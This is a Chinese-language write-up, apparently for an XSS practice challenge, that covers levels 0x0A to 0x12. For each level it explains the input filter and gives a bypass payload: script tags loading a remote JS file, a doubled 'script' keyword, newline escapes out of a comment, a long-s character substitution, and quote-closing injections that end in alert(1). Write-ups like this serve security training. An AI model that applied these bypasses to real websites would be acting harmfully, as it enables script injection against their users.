0X0A
分析代码后发现,本关过滤了&'"<>\等字符转换为实体编码。
本关可以使用url@重定向的方式进行绕过
所以本关可以在本地写入一个test.js文件,在js文件中写入alert(1)进行重定向
代码
http://www.segmentfault.com@127.0.0.1/test.js
注意:由于不同的浏览器可能会有保护机制,所以本关可能不会显示成功。
ttps://www.segmentfault.com.haozi.me/j.js
0X0B
分析代码可得,通过img标签,在onerror中加入alert代码的编码形式。
代码
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0X0C
分析代码这段代码就是过滤了script字段,然后就是还和上关一样
<scscriptript src=https://www.segmentfault.com.haozi.me/j.js></scscriptript>
0X0D
分析代码可得,将所有用正则表达式过滤</'"几个符号。又将我们输入的数据放在注释行中。
所以本关想要绕过就只能使用换行符,使用换行符将我们要输入的alert(1)与注释符不在同一行,再将后面的注释符进行注释,就能成功绕过了。
-->
alert(1)
-->
0X0E
分析代码发现将所有用<开头的字母都进行了替换,让我们无法正常输入标签。
这里需要使用一个xss特殊的绕过技巧,在html中ſ
这个字符转换为s,所以我们通过使用这个字符绕过这里的过滤函数。
代码
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0X0F
分析代码可得,将一些注入语句,给转义了,并放在onerror中
但是转义对于JS来说作用不大,我们可以先将闭合,然后使用分号再在后面加上alert(1)语句即可。然后再把后面的给注释掉
代码
'),alert('1
0X10
入本关发现,将输入的数据直接放入在一个window.data中
而这个就相当于windows中弹窗调用,所以直接输入alert(1)就可以成功弹窗了
代码
alert(1)
0X11
分析代码发现在过滤了许多字符的基础上还将,\n、\r等换行操作给过滤了。
所以我们可以先把前面函数闭合,虽然不能使用换行操作,但是我们可以使用,
或者;
将代码分隔开来,再把后面字符使用注释符注释就可以成功绕过了。
代码
"); alert(1)("
0X12
分析代码发现本关本质其实和上一关一样,就是将"替换为\,防止闭合前面函数。
但是我们可以通过先输入\符号将\进行转义了,这样双引号就能成功闭合了。
代码
\");alert(1);//